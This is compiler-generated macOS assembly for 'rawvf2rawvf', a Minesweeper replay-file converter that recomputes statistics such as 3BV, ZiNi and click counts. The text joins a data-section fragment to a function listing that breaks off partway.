.zerofill __DATA,__common,_no_check_info,4,2
.globl _end_time ; @end_time
.zerofill __DATA,__common,_end_time,4,2
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%s\n"
.comm _size,4,2 ; @size
.comm _closed_cells,4,2 ; @closed_cells
.comm _board,8,3 ; @board
.comm _h,4,2 ; @h
.comm _size_ops,4000,2 ; @size_ops
.comm _size_isls,4000,2 ; @size_isls
.comm _openings,4,2 ; @openings
.comm _w,4,2 ; @w
l_.str.1: ; @.str.1
.asciz "Too many openings"
.comm _islands,4,2 ; @islands
l_.str.2: ; @.str.2
.asciz "Too many islands"
.comm _bbbv,4,2 ; @bbbv
.comm _zini,4,2 ; @zini
.comm _m,4,2 ; @m
.comm _gzini,4,2 ; @gzini
.comm _hzini,4,2 ; @hzini
.comm _output,8,3 ; @output
l_.str.3: ; @.str.3
.asciz "Cell pressed (it is a Questionmark) %d %d\n"
l_.str.4: ; @.str.4
.asciz "Cell pressed %d %d\n"
l_.str.5: ; @.str.5
.asciz "Cell released (it is a Questionmark) %d %d\n"
l_.str.6: ; @.str.6
.asciz "Cell released %d %d\n"
.comm _cur_time,4,2 ; @cur_time
l_.str.7: ; @.str.7
.asciz "%.3f Solved 3BV: %d of %d\n"
.comm _solved_bbbv,4,2 ; @solved_bbbv
l_.str.8: ; @.str.8
.asciz "Cell opened (Number %d) %d %d\n"
.comm _solved_ops,4,2 ; @solved_ops
l_.str.9: ; @.str.9
.asciz "Cell opened (it is a Mine) %d %d\n"
.comm _solved_isls,4,2 ; @solved_isls
.comm _wasted_flags,4,2 ; @wasted_flags
.comm _wasted_d_clicks,4,2 ; @wasted_d_clicks
.comm _wasted_clicks_15,4,2 ; @wasted_clicks_15
l_.str.10: ; @.str.10
.asciz "Flag %d %d\n"
.comm _flags,4,2 ; @flags
.comm _misflags,4,2 ; @misflags
l_.str.11: ; @.str.11
.asciz "Questionmark %d %d\n"
l_.str.12: ; @.str.12
.asciz "Flag removed %d %d\n"
.comm _unflags,4,2 ; @unflags
.comm _misunflags,4,2 ; @misunflags
.comm _left,4,2 ; @left
.comm _cur_x,4,2 ; @cur_x
.comm _cur_y,4,2 ; @cur_y
.comm _chorded,4,2 ; @chorded
.comm _right,4,2 ; @right
.comm _shift_left,4,2 ; @shift_left
.comm _superclick,4,2 ; @superclick
.comm _d_clicks,4,2 ; @d_clicks
.comm _onedotfive,4,2 ; @onedotfive
.comm _clicks_15,4,2 ; @clicks_15
.comm _rilian_clicks,4,2 ; @rilian_clicks
.comm _l_clicks,4,2 ; @l_clicks
.comm _wasted_l_clicks,4,2 ; @wasted_l_clicks
.comm _middle,4,2 ; @middle
.comm _nono,4,2 ; @nono
.comm _cur_prec_x,4,2 ; @cur_prec_x
.comm _cur_prec_y,4,2 ; @cur_prec_y
.comm _distance,4,2 ; @distance
.comm _elmar,4,2 ; @elmar
.comm _qm,4,2 ; @qm
l_.str.13: ; @.str.13
.asciz "Questionmark removed %d %d\n"
.comm _r_clicks,4,2 ; @r_clicks
.comm _superflag,4,2 ; @superflag
.comm _wasted_r_clicks,4,2 ; @wasted_r_clicks
l_.str.14: ; @.str.14
.asciz "Usage: rawvf2rawvf [-eirsz] [input] [output]\n"
l_.str.15: ; @.str.15
.asciz "Options:\n"
l_.str.16: ; @.str.16
.asciz " e - do not rewrite board events\n"
l_.str.17: ; @.str.17
.asciz " i - do not check info contained in the header\n"
l_.str.18: ; @.str.18
.asciz " r - treat rilian clicks as left clicks\n"
l_.str.19: ; @.str.19
.asciz " s - read from the standard input\n"
l_.str.20: ; @.str.20
.asciz " z - do not calculate ZiNi\n"
.comm _input,8,3 ; @input
l_.str.21: ; @.str.21
.asciz "r"
l_.str.22: ; @.str.22
.asciz "Can't open input file %s\n"
l_.str.23: ; @.str.23
.asciz "w+"
l_.str.24: ; @.str.24
.asciz "Can't open output file %s\n"
l_.str.25: ; @.str.25
.asciz "RAW_Time"
l_.str.26: ; @.str.26
.asciz "RAW_3BV"
l_.str.27: ; @.str.27
.asciz "RAW_Solved3BV"
l_.str.28: ; @.str.28
.asciz "RAW_3BV/s"
l_.str.29: ; @.str.29
.asciz "RAW_ZiNi"
l_.str.30: ; @.str.30
.asciz "RAW_ZiNi/s"
l_.str.31: ; @.str.31
.asciz "RAW_HZiNi"
l_.str.32: ; @.str.32
.asciz "RAW_HZiNi/s"
l_.str.33: ; @.str.33
.asciz "RAW_Clicks"
l_.str.34: ; @.str.34
.asciz "RAW_Clicks/s"
l_.str.35: ; @.str.35
.asciz "RAW_LeftClicks"
l_.str.36: ; @.str.36
.asciz "RAW_LeftClicks/s"
l_.str.37: ; @.str.37
.asciz "RAW_RightClicks"
l_.str.38: ; @.str.38
.asciz "RAW_RightClicks/s"
l_.str.39: ; @.str.39
.asciz "RAW_DoubleClicks"
l_.str.40: ; @.str.40
.asciz "RAW_DoubleClicks/s"
l_.str.41: ; @.str.41
.asciz "RAW_WastedClicks"
l_.str.42: ; @.str.42
.asciz "RAW_WastedClicks/s"
l_.str.43: ; @.str.43
.asciz "RAW_WastedLeftClicks"
l_.str.44: ; @.str.44
.asciz "RAW_WastedLeftClicks/s"
l_.str.45: ; @.str.45
.asciz "RAW_WastedRightClicks"
l_.str.46: ; @.str.46
.asciz "RAW_WastedRightClicks/s"
l_.str.47: ; @.str.47
.asciz "RAW_WastedDoubleClicks"
l_.str.48: ; @.str.48
.asciz "RAW_WastedDoubleClicks/s"
l_.str.49: ; @.str.49
.asciz "RAW_1.5Clicks"
l_.str.50: ; @.str.50
.asciz "RAW_1.5Clicks/s"
l_.str.51: ; @.str.51
.asciz "RAW_IOE"
l_.str.52: ; @.str.52
.asciz "RAW_Correctness"
l_.str.53: ; @.str.53
.asciz "RAW_Throughput"
l_.str.54: ; @.str.54
.asciz "RAW_ZNE"
l_.str.55: ; @.str.55
.asciz "RAW_ZNT"
l_.str.56: ; @.str.56
.asciz "RAW_HZNE"
l_.str.57: ; @.str.57
.asciz "RAW_HZNT"
l_.str.58: ; @.str.58
.asciz "RAW_Openings"
l_.str.59: ; @.str.59
.asciz "RAW_Islands"
l_.str.60: ; @.str.60
.asciz "RAW_Flags"
l_.str.61: ; @.str.61
.asciz "RAW_WastedFlags"
l_.str.62: ; @.str.62
.asciz "RAW_Unflags"
l_.str.63: ; @.str.63
.asciz "RAW_Misflags"
l_.str.64: ; @.str.64
.asciz "RAW_Misunflags"
l_.str.65: ; @.str.65
.asciz "RAW_RilianClicks"
l_.str.66: ; @.str.66
.asciz "RAW_RilianClicks/s"
.section __DATA,__const
.p2align 3 ; @__const.main.info
l___const.main.info:
.quad l_.str.25
.quad l_.str.26
.quad l_.str.27
.quad l_.str.28
.quad l_.str.29
.quad l_.str.30
.quad l_.str.31
.quad l_.str.32
.quad l_.str.33
.quad l_.str.34
.quad l_.str.35
.quad l_.str.36
.quad l_.str.37
.quad l_.str.38
.quad l_.str.39
.quad l_.str.40
.quad l_.str.41
.quad l_.str.42
.quad l_.str.43
.quad l_.str.44
.quad l_.str.45
.quad l_.str.46
.quad l_.str.47
.quad l_.str.48
.quad l_.str.49
.quad l_.str.50
.quad l_.str.51
.quad l_.str.52
.quad l_.str.53
.quad l_.str.54
.quad l_.str.55
.quad l_.str.56
.quad l_.str.57
.quad l_.str.58
.quad l_.str.59
.quad l_.str.60
.quad l_.str.61
.quad l_.str.62
.quad l_.str.63
.quad l_.str.64
.quad l_.str.65
.quad l_.str.66
.section __TEXT,__const
.p2align 2 ; @__const.main.int_info
l___const.main.int_info:
.long 0 ; 0x0
.long 1 ; 0x1
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 1 ; 0x1
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 0 ; 0x0
.comm _event,1000,0 ; @event
.section __TEXT,__cstring,cstring_literals
l_.str.67: ; @.str.67
.asciz "No board\n"
l_.str.68: ; @.str.68
.asciz "board"
l_.str.69: ; @.str.69
.asciz "width"
l_.str.70: ; @.str.70
.asciz "height"
l_.str.71: ; @.str.71
.asciz "mines"
l_.str.72: ; @.str.72
.asciz "marks"
l_.str.73: ; @.str.73
.asciz "on\n"
l_.str.74: ; @.str.74
.asciz "level"
l_.str.75: ; @.str.75
.asciz "Marathon"
l_.str.76: ; @.str.76
.asciz "This program doesn't support marathon RawVF"
l_.str.77: ; @.str.77
.asciz "Beginner"
l_.str.78: ; @.str.78
.asciz "Intermediate"
l_.str.79: ; @.str.79
.asciz "Expert"
l_.str.80: ; @.str.80
.asciz "Mode"
l_.str.81: ; @.str.81
.asciz "Classic"
l_.str.82: ; @.str.82
.asciz ": \n"
l_.str.83: ; @.str.83
.asciz "Unknown event"
l_.str.84: ; @.str.84
.asciz "File contains wrong info: it says the game was won while it was not\n"
l_.str.85: ; @.str.85
.asciz "%d"
l_.str.86: ; @.str.86
.asciz "%.3f"
l_.str.87: ; @.str.87
.asciz "File contains wrong info:\n %s = %d while the file claims it's %d\n"
l_.str.88: ; @.str.88
.asciz "File contains wrong info:\n %s = %.3f while the file claims it's %.3f\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pause ## -- Begin function pause
.p2align 4, 0x90
_pause: ## @pause
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _error ## -- Begin function error
.p2align 4, 0x90
_error: ## @error
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -8(%rbp), %rdx
leaq L_.str(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
callq _pause
movl $1, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _opteq ## -- Begin function opteq
.p2align 4, 0x90
_opteq: ## @opteq
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $58, %ecx
movb %al, -21(%rbp) ## 1-byte Spill
je LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $32, %ecx
movb %al, -21(%rbp) ## 1-byte Spill
je LBB2_6
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -21(%rbp) ## 1-byte Spill
je LBB2_6
## %bb.4: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -21(%rbp) ## 1-byte Spill
je LBB2_6
## %bb.5: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _tolower
movl %eax, -28(%rbp) ## 4-byte Spill
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _tolower
movl %eax, %ecx
movl -28(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
sete %al
movb %al, -21(%rbp) ## 1-byte Spill
LBB2_6: ## in Loop: Header=BB2_1 Depth=1
movb -21(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB2_7
jmp LBB2_8
LBB2_7: ## in Loop: Header=BB2_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_1
LBB2_8:
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $58, %ecx
movb %al, -29(%rbp) ## 1-byte Spill
jne LBB2_10
## %bb.9:
movq -16(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
sete %al
movb %al, -29(%rbp) ## 1-byte Spill
LBB2_10:
movb -29(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _valeq ## -- Begin function valeq
.p2align 4, 0x90
_valeq: ## @valeq
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $32, %eax
jne LBB3_3
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB3_1
LBB3_3:
jmp LBB3_4
LBB3_4: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -25(%rbp) ## 1-byte Spill
je LBB3_9
## %bb.5: ## in Loop: Header=BB3_4 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $10, %ecx
movb %al, -25(%rbp) ## 1-byte Spill
je LBB3_9
## %bb.6: ## in Loop: Header=BB3_4 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $32, %ecx
movb %al, -25(%rbp) ## 1-byte Spill
je LBB3_9
## %bb.7: ## in Loop: Header=BB3_4 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, %ecx
movb %al, -25(%rbp) ## 1-byte Spill
je LBB3_9
## %bb.8: ## in Loop: Header=BB3_4 Depth=1
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _tolower
movl %eax, -32(%rbp) ## 4-byte Spill
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _tolower
movl %eax, %ecx
movl -32(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
sete %al
movb %al, -25(%rbp) ## 1-byte Spill
LBB3_9: ## in Loop: Header=BB3_4 Depth=1
movb -25(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB3_10
jmp LBB3_11
LBB3_10: ## in Loop: Header=BB3_4 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB3_4
LBB3_11:
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $10, %eax
je LBB3_13
## %bb.12:
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $32, %ecx
movb %al, -33(%rbp) ## 1-byte Spill
jne LBB3_14
LBB3_13:
movq -16(%rbp), %rax
movslq -24(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $0, %eax
sete %al
movb %al, -33(%rbp) ## 1-byte Spill
LBB3_14:
movb -33(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _clearboard ## -- Begin function clearboard
.p2align 4, 0x90
_clearboard: ## @clearboard
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _size@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _closed_cells@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl $0, -4(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB4_4
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 12(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 8(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 4(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 44(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 48(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 40(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 36(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, (%rax)
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB4_1
LBB4_4:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _restartboard ## -- Begin function restartboard
.p2align 4, 0x90
_restartboard: ## @restartboard
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _size@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _closed_cells@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl $0, -4(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB5_4
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 48(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 44(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 40(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 36(%rax)
## %bb.3: ## in Loop: Header=BB5_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB5_1
LBB5_4:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _getnumber ## -- Begin function getnumber
.p2align 4, 0x90
_getnumber: ## @getnumber
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl $0, -16(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -8(%rbp)
LBB6_1: ## =>This Loop Header: Depth=1
## Child Loop BB6_3 Depth 2
movl -8(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB6_8
## %bb.2: ## in Loop: Header=BB6_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -12(%rbp)
LBB6_3: ## Parent Loop BB6_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB6_6
## %bb.4: ## in Loop: Header=BB6_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -12(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl (%rax), %eax
addl -16(%rbp), %eax
movl %eax, -16(%rbp)
## %bb.5: ## in Loop: Header=BB6_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB6_3
LBB6_6: ## in Loop: Header=BB6_1 Depth=1
jmp LBB6_7
LBB6_7: ## in Loop: Header=BB6_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB6_1
LBB6_8:
movl -16(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _set_opening_border ## -- Begin function set_opening_border
.p2align 4, 0x90
_set_opening_border: ## @set_opening_border
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB7_2
## %bb.1:
movl -4(%rbp), %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
jmp LBB7_5
LBB7_2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
cmpl -4(%rbp), %eax
je LBB7_4
## %bb.3:
movl -4(%rbp), %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
LBB7_4:
jmp LBB7_5
LBB7_5:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _process_opening ## -- Begin function process_opening
.p2align 4, 0x90
_process_opening: ## @process_opening
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movslq -4(%rbp), %rcx
movq _size_ops@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %edx
addl $1, %edx
movq _size_ops@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
movl -4(%rbp), %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB8_1: ## =>This Loop Header: Depth=1
## Child Loop BB8_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB8_18
## %bb.2: ## in Loop: Header=BB8_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -8(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB8_3: ## Parent Loop BB8_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -8(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB8_16
## %bb.4: ## in Loop: Header=BB8_3 Depth=2
movl -16(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
addl -12(%rbp), %eax
movl %eax, -20(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
je LBB8_10
## %bb.5: ## in Loop: Header=BB8_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB8_10
## %bb.6: ## in Loop: Header=BB8_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
cmpl -4(%rbp), %eax
je LBB8_9
## %bb.7: ## in Loop: Header=BB8_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %eax
cmpl -4(%rbp), %eax
je LBB8_9
## %bb.8: ## in Loop: Header=BB8_3 Depth=2
movslq -4(%rbp), %rcx
movq _size_ops@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %edx
addl $1, %edx
movq _size_ops@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
LBB8_9: ## in Loop: Header=BB8_3 Depth=2
movl -4(%rbp), %edi
movl -20(%rbp), %esi
callq _set_opening_border
jmp LBB8_14
LBB8_10: ## in Loop: Header=BB8_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB8_13
## %bb.11: ## in Loop: Header=BB8_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB8_13
## %bb.12: ## in Loop: Header=BB8_3 Depth=2
movl -4(%rbp), %edi
movl -20(%rbp), %esi
callq _process_opening
LBB8_13: ## in Loop: Header=BB8_3 Depth=2
jmp LBB8_14
LBB8_14: ## in Loop: Header=BB8_3 Depth=2
jmp LBB8_15
LBB8_15: ## in Loop: Header=BB8_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB8_3
LBB8_16: ## in Loop: Header=BB8_1 Depth=1
jmp LBB8_17
LBB8_17: ## in Loop: Header=BB8_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB8_1
LBB8_18:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _process_island ## -- Begin function process_island
.p2align 4, 0x90
_process_island: ## @process_island
.cfi_startproc
## %bb.0:
